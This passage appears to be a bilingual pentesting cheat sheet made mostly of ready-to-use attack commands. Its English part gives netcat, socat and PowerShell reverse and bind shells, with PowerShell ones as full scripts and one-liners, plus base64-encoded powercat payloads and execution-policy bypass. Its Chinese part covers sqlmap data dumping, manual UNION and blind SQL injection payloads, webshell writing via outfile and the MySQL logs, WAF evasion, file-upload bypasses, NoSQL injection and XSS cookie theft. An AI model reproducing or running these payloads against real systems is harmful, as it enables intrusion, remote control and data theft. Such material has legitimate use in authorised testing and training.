nc -nlvp <PORT>
```
Connect to port with netcat:
```
nc -nv <IP> <PORT>
```
### Filetransfer
File receiver:
```
nc -nlvp 4444 > <FILENAME>
```
File sender:
```
nc -nv <IP> <PORT> < <FILENAME>
```
### Netcat Shell
#### Bind Shell on Windows
```cmd
nc -nlvp 4444 -e cmd.exe
```
#### Bind Shell on Linux
```bash
nc -nlvp 4444 -e /bin/bash
```
#### Reverse Shell on Linux
```bash
nc -nv <IP> <PORT> -e /bin/bash
```
#### Reverse Shell on Windows
```cmd
nc -nv <IP> <PORT> -e cmd.exe
```
## Socat Fun
Connect to port with socat:
```bash
socat - TCP4:<IP>:<PORT>
```
Create listener with socat:
```bash
socat TCP-LISTEN:<PORT> STDOUT
```
### File Transfer with socat
File sender:
```bash
socat TCP4-LISTEN:<PORT>,fork file:<FILENAME.xyz>
```
File receiver:
```
socat TCP4:<IP>:<PORT> file:<FILENAME>,create
```
### Reverse Shell on Linux with socat
Listener:
```
socat -d -d TCP4-LISTEN:<PORT> STDOUT
```
Shell:
```
socat TCP4:<IP>:<PORT> EXEC:/bin/bash
```
### encrypted bind shell with socat
```bash
# create (self signed) SSL certificate:
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
# combine key and cetificate to pem file
cat bind_shell.key bind_shell.crt > bind_shell.pem
# create encrypted listener
socat OPENSSL-LISTEN:<PORT>,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
```
connect to encrypted bind shell:
```
socat - OPENSSL:<IP>:<PORT>,verify=0
```
## Linux Post Exploitation
### Create tty console with python
```bash
python -c 'import pty; pty.spawn("/bin/sh")'
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/zsh")'
```
```bash
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/zsh")'
```
### Cracking encrypted zip-file
```bash
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' <zip-file-name>
```
## Windows Post Exploitation
### Powershell Fun
```powershell
Set-ExecutionPolicy Unrestricted
Get-ExecutionPolicy
```
#### Powershell File Transfer
```cmd
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://<IP>:<PORT>/<FILE>','<TARGET-FILENAME>')"
```
#### Powershell Shells
##### Powershell Reverseshell
```powershell
$client = New-Object System.Net.Sockets.TCPClient('<IP>', <PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
```
Same as Oneliner:
```cmd
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>', <PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close();""
```
##### Powershell Bind Shell
```powershell
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',<PORT>);
$listener.start();
$client = $listener.AcceptTcpClient();
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '>';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close();
$listener.Stop()
```
Same as Oneliner:
```cmd
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',<PORT>);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '>';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();$listener.Stop()"
```
### Powercat
```powershell
# Load powercat script (only in current instance)
PS> . .\powercat.ps1
```
#### Powercat Filetransfer
```powershell
PS> powercat -c <IP> -p <PORT> -i <FILENAME>
```
#### Powercat Reverse Shell
```powershell
PS> powercat -c <IP> -p <PORT> -e cmd.exe
```
#### Powercat Bind Shell
```powershell
PS> powercat -l -p <PORT> -e cmd.exe
```
#### Powercat Standalone Payloads
Generate reverse shell payload with powercat:
```
# Payload generation:
PS> powercat -c <IP> -p <PORT> -e cmd.exe -g > reverseshell.ps1
# Execute on target PC:
PS> .\reversehell.ps1
```
Generate (base64) encoded reverse shell payload with powercat:
```
PS> powercat -c <IP> -p <PORT> -e cmd.exe -ge > encodedreverseshell.ps1
# Execute:
PS> powershell.exe -E <INSERT HERE BASE64 CONTENT OF GENERATED FILE>
```
### Execute Powershell file, bypass all policies
```cmd
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File file.ps1
```
### RDP connection from Linux host to Windows target
```cmd
rdesktop -u <User> -p <Password> <Target-IP>
```
# Docker Escape
If you are root in a container, try to use the following tool:
[https://github.com/PercussiveElbow/docker-escape-tool](https://github.com/PercussiveElbow/docker-escape-tool)
# Stuff you also may need
## Bash scripting variables
| Variable name | Description |
|:---------------:|:-------------|
|$0|name of bash script|
|$1 - $9| first 9 arguments of bash script|
|$#| number of arguments passed to script|
|$@|all arguments passed to bash script|
|$?|exist status of most recently run process|
|\$\$|process id of current script|
|$USER|username of user running the script|
|$HOSTNAME|hostname of machine|
|$RANDOM|a random number|
|$LINENO|current line number in the script|
## Wireshark
### Display Filters
```
tcp.port == <PORT>
```
## Tcpdump
### read pcap file
```bash
tcpdump -r <FILENAME.pcap>
```
### skip DNS lookup:
```bash
tcpdump -n -r <FILENAME.pcap>
```
### find most common ips
```bash
tcpdump -n -r <FILENAME.pcap> | awk -F" " '{print $3}' | sort | uniq -c | head
# gives Result:
# <Number of Packets> <IP>
```
### destination host filter
```bash
tcpdump -n dst host <IP> -r <FILENAME.pcap>
```
### port filter
```bash
tcpdump -n port <PORT> -r <FILENAME.pcap>
```
### print packet data as Hex and ASCII
```bash
tcpdump -nX -r <FILENAME.pcap>
```
## Crypto-Fun
Attacking Weak RSA Keys:
[https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
```bash
python3 RsaCtfTool.py --publickey <PUBLIC KEY> --uncipherfile <CIPHERED FILE>
```
## URL Encodings
|encoded|symbol|
|---------|-------|
|%20| Space|
|%21|!|
|%22|"|
|%23|#|
|%24|$|
|%25|%|
|%26|&|
|%27|'|
|%28|(|
|%29|)|
|%2A|**|
|%2B|+|
|%2C|,|
|%2D|-|
|%2E|.|
|%2F|/|
|%3A|:|
|%3B|;|
|%3C|<|
|%3D|=|
|%3E|>|
|%3F|?|
|%40|@|
|%5B|\[|
|%5C|\|
|%5D|]|
|%7B|{|
|%7C|\||
|%7D|}|
## Firefox Plugins you may need
- Cookie-Editor
- Foxy Proxy
- Wappalyzer
## Tool Collection
- axel
- BurpSuite
- dirb
- dirbuster
- DNSRecon
- DNSenum
- Docker Escapte Tool [https://github.com/PercussiveElbow/docker-escape-tool](https://github.com/PercussiveElbow/docker-escape-tool)
- evil-winrm
- fuff - fuzz faster u fool [https://github.com/ffuf/ffuf](https://github.com/ffuf/ffuf)4
- Immunity-Debugger (Windows)
- mona
- LinEnum [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)
- LinPEAS
- masscan
- Metasploit
- msf-pattern_create
- msf-pattern_offset
- msf-nasm_shell
- nbtscan
- nc / Netcat
- nikto
- nmap
- onesixtyone
- powercat
- RsaCtfTool [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool)
- Searchsploit
- snmpwalk
- socat
- tcpdump
- theharvester
- wireshark
-
|
# attack_tool
### 1.dirmap web目录扫描工具
https://github.com/H4ckForJob/dirmap
dirmap的安装指南
```git clone https://github.com/H4ckForJob/dirmap.git &&
cd dirmap
python3 -m pip install -r requirement.txt
python3 dirmap.py -i http://192.168.31.200 -lcf
```
dirmap的使用方法
```
python3 dirmap.py -i https://target.com -lcf
python3 dirmap.py -i 192.168.1.1 -lcf
python3 dirmap.py -i 192.168.1.0/24 -lcf
python3 dirmap.py -i 192.168.1.1-192.168.1.100 -lcf
python3 dirmap.py -iF targets.txt -lcf
```
### 2.子域名扫描
subdomainbrute与teemo的使用
```site:oldming.top -www
python subDomainsBrute.py oldming.top --full
python2 teemo.py --help
python2 teemo.py -d www.oldming.top
```
### 3.waf识别
shadon关键词搜索：X-Powered-By:WAF
```python main.py http://phw89.266933.com/```
### 4.EXP获取 POC
```
./searchsploit wordpress 4.1 搜索同时带有wordpress和4.1的漏洞
./searchsploit -s "wordpress 4.1" 更严格的搜索
./searchsploit "WordPress 4.1" -j 以json格式显示输出结果
./searchsploit "WordPress 4.1" -o 允许标题溢出其列
./searchsploit "WordPress 4.1" -p 显示漏洞的完整地址
./searchsploit "WordPress 4.1" -w 显示网络地址而非本地地址
./searchsploit "WordPress 4.1" -u 更新检查并安装任何数据库包更新
./searchexploit wordpress -c 区分大小写搜索
./searchsploit "Landa Driving School Management System 2.0.1 - Arbitrary File Upload"
```
#### 5.pocsuite3获取poc
```
cd pocsuite && python cli.py -h
```
### 6.xray漏扫工具
```
/xray_darwin_arm64 webscan --listen 127.0.0.1:7777 --html-output proxy.html 被动扫描
/xray_darwin_arm64 webscan --url http://1.117.52.219:81/?a=b --html-output single-url.html 只扫描单个url
/xray_darwin_arm64 webscan --plugins cmd-injection,sqldet --url http://1.117.52.219:81/
/xray_darwin_arm64 webscan --plugins cmd-injection,sqldet --listen 127.0.0.1:7777
/xray_darwin_arm64 webscan --url http://example.com/?a=b \
--text-output result.txt --json-output result.json --html-output report.html 输出文件./xray_darwin_arm64 webscan --listen 127.0.0.1:7777 --html-output proxy.html
并且浏览器配置代理后，用浏览器访问有漏洞的网站时就会自动扫描其中的漏洞
./xray_darwin_arm64 webscan --basic-crawler http://1.117.52.219:81/ --html-output vuln.html 爬虫主动
```
web漏洞扫描和验证工具: https://github.com/zhzyker/vulmap
`python3 vulmap.py -u http://192.168.31.105:8081`
### 7.proxy_pool 爬虫代理池技术
https://github.com/jhao104/proxy_pool.git
需要先开启一个有秘密的redis服务，并且在设置中链接此redis
###### Linux
```
python proxyPool.py schedule
python proxyPool.py server
pip3 install -r requirements.txt
```
###### Mac
```
git clone https://github.com/jhao104/proxy_pool.git
python3 -m pip install -r requirement.txt
brew services start redis
redis-cli
config set requirepass chentuo0
config get requirepass
auth test123
other: redis-cli -p 6379 -a chentuo0 && auth chentuo0
vim setting.py
python proxyPool.py schedule
pip3 install --upgrade Werkzeug==0.15.5
python proxyPool.py server http://127.0.0.1:5010/get/
```
获取到代理池中的代理
```print(requests.get("http://127.0.0.1:5010/get/").json().get("proxy"))```
### 8.nosqlattack 攻击nosql数据库
环境准备
```
pip2 install CouchDB==1.0 httplib2 ipcalc==1.1.3 pbkdf2==1.3 shodan==1.5.3 pymongo==2.7.2 nose tornado
sudo python2.7 setup.py install
sudo python2.7 setup.py install
```
注入测试
```
python2 main.py
2-1:http://192.168.31.200
2-3:/sqlilabs/Less-1/?id=1
x-4 开始注入
```
### 9.常见高危端口
21/22/69 ftp/tftp：文件传输协议 爆破 嗅探 溢出；后门
22 ssh：远程连接 爆破 OpenSSH；28个退格
23 telnet：远程连接 爆破 嗅探
25 smtp：邮件服务 邮件伪造
53 DNS：域名系统 DNS区域传输 DNS劫持DNS缓存投毒DNS欺骗 深度利用：利用DNS隧道技术刺透防火墙
67/68 dhcp 劫持 欺骗
110 pop3 爆破
139 samba 爆破 未授权访问远程代码执行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻击 未授权访问
512/513/514 linux r 直接使用rlogin
873 rsync 未授权访问
1080 socket 爆破：进行内网渗透
1352 lotus 爆破：弱口令 信息泄漏：源代码
1433 mssql 爆破：使用系统用户登录 注入攻击
1521 oracle 爆破：TNS 注入攻击
2049 nfs 配置不当
2181 zookeeper 未授权访问
3306 mysql 爆破 拒绝服务注入
3389 rdp 爆破 Shift后门
4848 glassfish 爆破：控制台弱口令 认证绕过
5000 sybase/DB2 爆破 注入
5432 postgresql 缓冲区溢出 注入攻击爆破：弱口令
5632 pcanywhere 拒绝服务 代码执行
5900 vnc 爆破：弱口令 认证绕过
6379 redis 未授权访问 爆破：弱口令
7001 weblogic Java反序列化 控制台弱口令控制台部署webshell
80/443/8080 web 常见web攻击 控制台爆破对应服务器版本漏洞
8069 zabbix 远程命令执行
9090 websphere控制台 爆破：控制台弱口令 Java反序列
9200/9300 elasticsearch 远程代码执行
11211 memcacache 未授权访问
27017 mongodb 爆破 未授权访问
### 10.sqlmap使用方法(php5.4)
###### 常规注入流程
```
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 --batch
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 --dbs
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 --privilege 查看权限
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 --is-dba 查看是否是高权限用户
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 -v 3 打印出了详细的payload
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 --current-db
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 -D vhost48330 --tables
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 -D vhost48330 -T admin --columns
sqlmap -u http://aa.com/star_photo.php?artist_id＝11 -D vhost48330 -T admin -C ac，id，password --dump
```
###### 以post方式注入流程
```
python sqlmap.py -r post_test.txt -p name --current-db
python sqlmap.py -r post_test.txt -p name -D note --tables
python sqlmap.py -r post_test.txt -p name -D note -T fl4g --columns
python sqlmap.py -r post_test.txt -p name -D note -T fl4g -C flag --dump
post_test.txt为需要post的数据包，-p为需要注入的参数的名字为name
```
###### 手工常规sqlmap注入的方法
```
?id='1 and 1=2
' union select 1,2,3--+
?id=' union select 1,database(),version()--+
?id=' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
?id=' union select 1,table_name,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=' union select 1,column_name,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=' union select 1,group_concat(username),group_concat(password) from security.users--+
```
###### 防止查询时出现大量不在同一数据库中的重复属性：
```
?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'--+
```
###### sql注入读写文件的前提条件
show global variables like '%secure%'; 没有具体值时，表示不对mysqld 的导入|导出做限制
修改mysql.ini /my.ini文件，在[mysqld] 下加入secure_file_priv =保存，重启mysql可改变默认的规则
###### sql注入读写文件
```
手工通过sql注入读写文件:
?id=' union select 1,2,'<?php phpinfo();?>' into outfile 'c:/Users/Ninja/Desktop/etc/phpstudy/www/p.php'--+
?id=' union select 1,2,load_file('c:/Users/Ninja/Desktop/etc/phpstudy/www/p.php')--+
sqlmap通过sql注入读写文件:
python sqlmap.py -u http://192.168.31.200/sqlilabs/Less-1/\?id\=1 --file-read 'c:/Users/Ninja/Desktop/etc/phpstudy/www/p.php'
cat /Users/chentuo/.local/share/sqlmap/output/192.168.31.200/files/c__Users_Ninja_Desktop_etc_phpstudy_www_p.php
python sqlmap.py -u http://192.168.31.200/sqlilabs/Less-1/\?id\=1 --file-write "/Users/chentuo/Public/tool/sqlmap_SQL注入工具/1.txt" --file-dest 'c:/Users/Ninja/Desktop/etc/phpstudy/www/2.txt'
```
###### 突破secure_file_priv 选项限制，通过日志来写入后门代码
```
show variables like 'general_log%'; 查看日志状态（默认禁止）
show variables like 'general_log%';
set global general_log = 'ON'; 开启日志记录
set global slow_query_log=1;
set global general_log_file="C:/Users/Ninja/Desktop/etc/phpstudy/www/1.txt"; 伪造(修改)日志文件的绝对路径以及文件名
set global slow_query_log_file='C:/Users/Ninja/Desktop/etc/phpstudy/www/2.txt';
select '<?php phpinfo() ?>'; 执行sql语句，mysql会将执行的语句内容记录到我们指定的文件中
select '<?php phpinfo() ?>' or sleep(11);
show global variables like '%long_query_time%'; 命令执行时间超过long_query_time设定的值(默认10s)，则会保存至慢查询日志
```
###### 数据库权限对SQL注入的影响：
通过遗留的配置文件的内容判断当前数据库是root还是其他用户
如果是高权限用户，可以直接通过数据库进行文件的读写，将webshell写入，得到后门
如果是低权限用户，则需要将则只能进行读数据，找到后台地址，尝试在后台中写入后门
###### 其他数据库的注入方式
access数据库不存在文件读写，不存在记录数据库名的表，只有表，列，数据三层，也不存在跨步注入。
对access进行SQL测试时，需要去盲猜或者借助字典来跑，可以用sqlmap。即union select 1,2,3 from admin。后面的admin是盲猜的，根据回显结果继续下一步
跨步注入：不同的网站，享有了同一数据库。则可以根据某一个可以渗透进入得到敏感信息的数据库的网站，以跨步攻击的方式获取到无法注入其网站的后台数据。
对其他数据库如MSsql，postgresql,oracle等，原理通mysql一样，可以借助sqlmap工具来跑
对mogodb而言，可以手工注入和nosql进行攻击
构造回显:/new_list.php?id=1'}); return ({title:1,content:'2
爆库:/new_list.php?id=1'}); return ({title:tojson(db),content:'1
爆字段:/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1 MD5在线解密即可
###### 针对无回显注入:(盲注解决没有回显的问题)
1.报错盲注：
```
select报错盲注:
' or (select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or '
' or updatexml(1,concat(0x7e,(version())),0) or '
' or extractvalue(1,concat(0x7e,database())) or '
update报错盲注:
' or (select 1 from(select count(*),concat( floor(rand(0)*2),0x7e,(database()),0x7e)x from information_schema.character_sets group by x)a) or '
' or updatexml(1,concat(0x7e,(version())),0) or '
' or extractvalue(1,concat(0x7e,database())) or'
delete报错盲注：
?id=56+or+(select+1+from(select+count(*),concat(floor(rand(0)*2),0x7e,(database()),0x7e)x+from+information_schema.character_sets+group+by+x)a)
?id=56+or+updatexml+(1,concat(0x7e,database()),0)
?id=56+or+extractvalue(1,concat(0x7e,database()))
```
2.延时盲注:
```
and sleep( if(length(database())=8,5,0))--+ 判断位数
and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+
从1位置开始截取1位，利用ascii防止工具无法识别或者引号的转义，并且对开发比较友好
select * from users where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ 查看所有数据库名
```
3.布尔盲注: ?id=1' and left(version(),3)=5.4--+
4.盲注无回显的问题：dnslog注入（需要高权限，可读写文件）
###### 借助sqlmap工具实现无回显盲注：
```
python sqlmap.py -u http://192.168.31.200/sqlilabs/Less-5/\?id\=1 --batch -technique E --proxy=http://127.0.0.1:8080 --user-agent="Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/14.04.6 Chrome/81.0.3990.0 Safari/537.36" --cookie="id=1" --dbs
technique后面的参数表示过滤的类型，这里可以有选择性的选择是否启动代理，改变User-agent,cookie等
B : 基于Boolean的盲注（Boolean based blind）
Q : 内联查询（Inline queries）
T : 基于时间的盲注（time based blind）
U : 基于联合查询（Union query based）
E : 基于错误（error based）
如果需要绕过WAF，需要加tamper参数进行更精准的过滤
```
###### sqlmap借助tamper实现加密payload
```
python sqlmap.py -u http://192.168.31.200/sqlilabs/Less-9/\?id\=1 --proxy=http://127.0.0.1:8080 --user-agent="dog" --cookie="cat" --tamper=base64encode.py --batch --dbs
sqlmap实现cookie注入，即在cookie处加载payload，不断的发送数据包,注意ID=1放在了cookie中
python sqlmap.py -u http://192.168.31.200/sqlilabs/Less-9/index.php --proxy=http://127.0.0.1:8080 --random-agent --cookie="id=1" --batch --dbs --level 2
sqlmap实现在user-agent处进行测试，此时的useraget为“ID=1”，并且其前面无注入点，level为3
python sqlmap.py -u http://192.168.31.200/sqlilabs/Less-9/index.php --proxy=http://127.0.0.1:8080 --cookie="1" --user-agent='id=1' --batch --dbs --level 3
```
###### 二次注入产生的原理
在注册用户的时候，注入了一些敏感的数据，带入到了对方的数据库中；在修改数据的时候，从对方数据库里取出来这个敏感的数据，并且进行了执行.如输入了 admin'# 的用户，更新的时候将更新admin用户的密码，一般是配合白盒审计的时候才会用到这个
###### 堆叠查询的原理及利用价值：
?id=1';insert into users(id,username,password) values ('111','222','333');在原有的SQL语句上加上后，改变了数据库的结构
注入的时候需要管理员账号密码，密码是加密无法解密出来，堆叠注入进行插入数据，用户的密码是自定义的，可以正常登录，即是用重新添加的用户去管理mysql的后台账户
###### sqlmap绕过waf策略：
```
--user-agent="Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"
模拟百度搜索引擎的爬虫
--delay 1 延迟时间去发送数据包达到绕过
--proxy="....." 利用代理池去访问
--tamper="space2morehash.py" 利用一些批处理脚本对payload先做修改之后在去访问
-r data.txt 通过抓取的数据包进行特定地方的伪造，如不常见的字段的伪造进行发包
python sqlmap.py -r 1.txt --proxy=http://127.0.0.1:8080 用自己的数据包发送数据,默认是get方式，也可以改为post注入
也可以通过php/python的中转脚本，sqlmap访问自己本地的网站，自己本地网站去访问远程的需要注入的网站
```
### 11.upload-labs
寻找上传漏洞的关键要素：
针对应用的功能下手，是否存在可以上传的地方
寻找其他已知的漏洞或者已知cms公开的漏洞进行利用
如nginx文件解析漏洞，将图片里边的后门文件给解析出来的，(nginx+php的用户配置不当的漏洞)
如Weblogic 任意文件上传漏洞（CVE-2018-2894）
###### 文件上传绕过思路：
```
前端绕过：前端js校验，抓包1.png修改为1.php
MIME绕过：抓包修改content-type为图片类型：image/jpeg、image/png、image/gif
php5绕过：抓包修改为1.php5上传，访问回复包里有上传路径
点+空格+点绕过：伪造为1.php. .来绕过
大小写绕过：伪造为6.PHp，并在重发器中获取文件上传地址
空格绕过：伪造为7.php ，并在重发器中获取文件上传地址
点绕过：伪造为8.php.
::$DATA绕过：伪造为9.php::DATA.
双写绕过：伪造为1.pphphp
图片马配合文件包含漏洞：将php代码插入到图片格式的文件中，直接访问图片并不能把图片当做PHP解析，因此还需要利用文件包含漏洞 http://1.117.52.219:81/upload-labs/include.php?file=upload/4720211213174512.png 被当成php解析
.htaccess绕过：先上传一个.htaccess文件，SetHandler application/x-httpd-php 这样所有文件都会当成php来解析。伪静态技术是指展示出来的是以html一类的静态页面形式，但其实是用ASP一类的动态脚本来处理的。
%00截断条件：php版本小于5.3.4，php的magic_quotes_gpc为OFF状态，上传12.php%00 ，被解析为12.phpPOST不会像GET对%00进行自动解码，需要在二进制中进行修改。
文件头部信息绕过：不同格式后缀的图片用编辑器打开之后头几个字母不同，通过伪造文件的头部信息绕过文件类型校验
二次渲染配合条件竞争：文件到了服务器才进行的过滤是存在二次渲染问题的，配合条件竞争可以实现后门写入，文件存在的那一刹那，对文件进行重复访问，此时文件不会被重命名，php文件留下来了。而如果文件在上传之前就过滤了文件类型是没有任何问题的。
文件夹文件名字混用：提交1.jpg，保存为upload-19.php%00 并且改变hex编码，使%00为00253030，或提交upload-19.php/.
联合MIME与图片格式数组绕过：Content-Disposition: form-data; name="save_name[0]" upload-20.php Content-Disposition: form-data; name="save_name[2]" jpg
寻找中间件的错误：如特定的nginx版本存在文件解析漏洞，可以利用这点直接上传图片马得到webshell权限
```
###### 几种常见的中间件的文件上传漏洞（需要特定版本+对方没有打过相应补丁，vulhub上可以复现）：
apache文件解析漏洞：
上传文件a.php.xxx被低版本的apche解析为a.php，黑名单可绕过，apche识别文件后缀，识别到xxx不执行，识别到php可执行，交给php来管理，php识别到了xxx无法识别，根据php的配置文件确定能否识别，一般只能识别php，php3，php4.php5，pht，phtml，而如果php的正则过滤没有被修改，则会被认为无法识别，显示出此文件的源码来
apache换行解析漏洞：
Apache HTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。
Nginx 解析漏洞：
上传一张带有php文本文件的图片后缀格式的文件，在满足这种漏洞的文件时，是会爆出php信息的，触发此漏洞的方法是在上传的图片马的地址的后边直接跟/xxxx.php当成php来访问。该与Nginx、php版本无关，属于用户配置不当造成的解析漏洞。
-->判断有没有此漏洞，打开一个网站的一个图片的地址，在地址后边拼接/xx.php看效果，如果返回的是 错误则没有，如果返回乱码则是存在解析漏洞的，只需要找一个上传点就可以突破。
Nginx 文件名逻辑漏洞：
上传一个文件为1.gif的图片马，上传的时候伪造数据为1.gif 注意有空格，上传之后拿到真实地址进行访问的时候，伪造地址如下......./1.gif[0x20][0x00].php，其中0x表示十六进制编码
-->这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。
###### 实际应用中，如何判断文件上传漏洞：
首先通过字典扫描敏感目录，寻找可以上传文件的地址，或者手动寻找网站上类似会员中心的可以上传文件的地方
其次判断此网站的中间件类型及版本，对比是否有此版本可以利用的EXP，进行漏洞利用
或者通过实际的情况自己手工测试，绕过后台常见的保护机制，如黑白名单MIME文件内容，大小写绕过等等方法
根据网站给出的CMS或者其他编辑器，从CMS的漏洞或者编辑器的漏洞下手进行敏感文件上传
寻找网站上是否调用了一些其他的可以写入文件的三方服务，根据中间件的版本，寻找新的CVE漏洞进行测试
### 12.谷歌语法
###### 基本语法：
```
"program google"：默认搜索是and逻辑。输入关键字后进行搜索时.，结果包含“program”和“google”的文件内容。
"program OR google"：不确定要搜索的内容，或者想搜索两个中的任意一个，那么就要使用关键词“OR”。
"programgoogle"：不希望这两个单词之间有任何其他的内容，要使用双引号把搜索的内容组成一个词组。
"program -google"：只想看到“program”的内容，而不希望看到“google”的内容，就可以把“-”应用到搜索当中去。
"+www google"：常用的“www”和“the”，会被google自动忽略。不忽略这些词进行查询，在这些关键词的前面加“+”。
“"l*Messi"”：搜索“Lionel Messi”的内容，输入“"l*Messi"”进行查询，此处整个字符串是要用双引号括住的。
```
###### 高级语法：
```
“intitle:program moon”：将搜索的范围局限在标题上。在关键词前面加上这个，就会只对网页的标题进行搜索并且配对。
“allintitle:program moon”：搜索结果里关于program占据主导，想找到网页标题中既有program又有moon的网页用此变体。
“intext:2018 program”：是用来搜索网页正文内容的，这样就可以忽略网页中的超文本链接、URL和题目。
“allintext:2018 program”：结果中网页的正文既含有program这个关键词，又含有moon这个关键词。
“inanchor:login”：搜索含有锚点的网页，在页面的链接锚点进行搜索。这个语法也有一个变体“allinanchor:”。
链接锚点指的是一个链接的描述文本，如<a href=https://www.baidu.com>百度</a>，链接的锚点就是“百度”了。
“program site:google.com”：搜索的结果是包括所有含有google.com域名的有关内容。
“inurl:password”：显示所有URL中含有password的网页，搜索范围限制在URL或者网站页面，也有一个变体“allinurl:”。
“link:www.baidu.com”：会返回所有链接到百度主页的网页了，link这个的功能是查询所有链接到某个特定URL上的列表。
“cache:www.baidu.com”：查找到google索引过的页面副本，即使源文件界面不存在了，我们依然可以搜索的到。
“filetype:mdb”：结果就会显示出一些网站的数据库文件，filetype是指搜索指定后缀的文件。
“related:www.google.com”：显示的结果是一些其他的搜索引擎，可以辅助我们搜索同类的页面。
“info:www.google.com”：搜索到关于URL的更多信息的页面列表，包括这个网页的cache，还有与这个网页相似的网页。
```
### 13.xss跨站漏洞
###### xss漏洞的分类有哪些？
反射型：自己输入的东西在浏览器返回之后在页面中显示，将自己输入的东西换成js代码，浏览器会识别js代码并执行，由此形成了跨站漏洞。因为自己输入的是js代码，不再是一个字符串，浏览器会执行js代码的。
存储型：用户输入的东西存储在了对方的数据库中，攻击一直会持续到数据被删除为止。输入的js代码存储在了对方数据库并且反馈到了前端显示的js代码中，对方打开此页面的时候会触发自己插入的js代码。根据js代码，在对方登陆查看反馈信息的时候，执行了敏感的js代码，从而盗取对方的cookie，依据cookie登陆对方后台，从而通过beef连接。
DOM型：操作是在html静态语言中完成的，通过浏览器可以看到这个源代码。发包之后，先由本地浏览器的前端代码js进行操作，再去执行x.php。可以从代码的层面出分析出漏洞，而不是像其他两种需要多次去尝试才能发现。php动态编译，执行后的结果显示在前端的源代码与后端的实际代码是有很大差别的。html静态解释，在服务端和客户端的代码是一致的。
###### xss跨站漏洞主要产生在哪些地方？
留言板，评论区，反馈，订单信息等可以与管理员交互的地方。
体现在代码层面上主要是：php输出函数echo eval var_dump可能产生跨站漏洞，通过js代码实现xss跨站，
XSS通过在用户端注入恶意的可运行脚本，若服务器端对用户输入不进行处理，直接将用户输入输出到浏览器，则浏览器将会执行用户注入的脚本。
###### xss跨站的攻击条件有哪些？
对方网站有XSS跨站漏洞(累似留言板，或者在输入js代码有回显)，网站有没有拦截脚本的运行，有没有代码过滤或者http only
对方有没有登陆后台，对方浏览器有没有保存对方的cookie信息，对方管理员不去触发自己所搞的漏洞地址
